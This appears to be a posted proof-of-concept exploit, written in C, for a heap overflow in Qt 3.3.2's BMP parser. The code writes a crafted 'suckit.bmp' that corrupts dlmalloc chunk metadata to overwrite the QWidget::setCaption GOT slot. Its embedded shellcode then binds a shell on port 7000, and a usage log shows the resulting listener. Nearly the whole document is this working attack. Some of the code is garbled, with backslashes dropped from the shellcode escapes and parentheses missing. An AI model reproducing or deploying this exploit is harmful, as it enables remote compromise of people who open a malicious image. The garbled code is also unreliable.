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EXPLOIT: Qt bmp heap overflow
/*
* heap overflow exploit for qt bmp parsing bug
* infamous42md AT hotpop DOT com
*
* shouts to mitakeet, MB, and peeps @hackaholic
*
* ok, pretty standard heap overflow here. we spill across our chunk and
* overwrite the boundary tag for next chunk. the only problems i had was
* finding a miserable jump slot to overwrite. i thought i could just
* overwrite malloc jump slot, but umm, well i'm not sure how to get the jump
* slot for malloc from the shared library file. it is some sort of offset
* from somewhere, and i'm not sure where. using the malloc jump slot from the
* program you're exploiting doesn't seem to work. sorry i'm not an expert on
* linking and loading yet, maybe after i read the 'linker loader' book next
* semester i will be... but perhaps someone could explain this to me? so
* anyways, instead i hijacked QWidget::setCaption() jump slot. and how did i
* find that? well, it sure wasn't a 1337 way. i dumped the GOT in gdb until i
* found the address. so the below adddress is for Qt multithreaded 3.3.2. i'm
* sure it is different for other machines/platforms, so you'll need to do some
* digging i'm guessing. the program i used to test all this was qvv image
* viewer b/c it was small and didn't take 37 hours to d/l like Konqueror would
* of. obviously the heap layout is going to vary greatly from program to
* program, and depending on at what point in a given program the bmp is
* loaded, so i can't see this being a very reliable way to exploit. rather
* just a POC.
*
* E-mail] netstat -ant | grep 7000
* E-mail] gcc -Wall haqt.c
* E-mail] ./a.out 0x80be9f8 8
* E-mail] ./qvv suckit.bmp
* E-mail] netstat -ant | grep 7000
* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
* E-mail] ./a.out
* Usage: ./a.out < retaddr > [ align ]
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#define RETLOC 0x808cd0c /* jump slot for QWidget::setCaption */
#define ALIGN 8
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define OUTFILE "suckit.bmp"
#define NCHUNK_BYTES 100
/* a bitmap header structure */
#define BMP_HDR_SZ sizeof(struct bmp)
struct bmp {
u_char type[2];
u_int bfsize,
reserved,
offbits, /* BMP_FILEHDR_SIZE */
bisize, /* 40 */
width, /* 8 */
height; /* 18 */
u_short planes, /* 1 */
bitcount; /* 8 */
u_int compres, /* 1 */
szimg,
xppm,
ypppm,
clrused, /* 1 */
clrimportant;
} __attribute__ ((packed));
/* a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
size_t prevsz;
size_t sz;
long fd;
long bk;
} mchunk_t;
/* call them on port 7000, mine, and needs to lose some weight */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"xebx0a""1234567890" /* jump */
"x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
"xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
"x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
"x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
"xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
"x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
"x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
"x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80xa1x5fx66x6ex69";
void make_bmp(char *buf, int len)
{
int fd = 0;
/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
die("open";
if(write(fd, buf, len) < 0)
die("write";
close(fd);
}
/*
*
*/
int main(int argc, char **argv)
{
int len = 0, x = 0, align = ALIGN;
char buf[BS];
u_long retaddr;
struct bmp bmp;
mchunk_t chunk;
if(argc < 2){
fprintf(stderr, "tUsage: %s < retaddr > [ align ]n", argv[0]);
return EXIT_FAILURE;
}
if(argc > 2){
align = atoi(argv[2]);
if(align < 0 || align > 15)
die("get bent bitch";
}
sscanf(argv[1], "%lx", &retaddr);
/* setup bitmap header info */
memset(&bmp, 0, BMP_HDR_SZ);
bmp.type[0] = 'B', bmp.type[1] = 'M';
bmp.bfsize = 3126;
bmp.bisize = 40;
bmp.planes = 1;
bmp.bitcount = 8;
bmp.compres = 1;
bmp.clrused = 1;
bmp.width = 8;
bmp.height = 18;
/* and the chunk */
chunk.prevsz = 224;
chunk.sz = 0xfffffffc;
chunk.fd = RETLOC - 12;
chunk.bk = retaddr;
/* and now setup the buffer */
memcpy(buf, &bmp, BMP_HDR_SZ);
len += BMP_HDR_SZ;
/* to pass some checks */
len += 4; /* the color table */
buf[len++] = 0; /* to pass the if() */
buf[len++] = 0xff; /* overwrite len */
/*
* and now the fun begins:
* first splatter the chunks, then the shellcode
*/
len += align;
for(x = 0; x < NCHUNK_BYTES-CHUNKSZ-1; x += CHUNKSZ)
memcpy(buf+len+x, &chunk, CHUNKSZ);
len += x;
memcpy(buf+len, remote, SHELL_LEN);
len += SHELL_LEN;
make_bmp(buf, len);
return 0;
}
--
-sean
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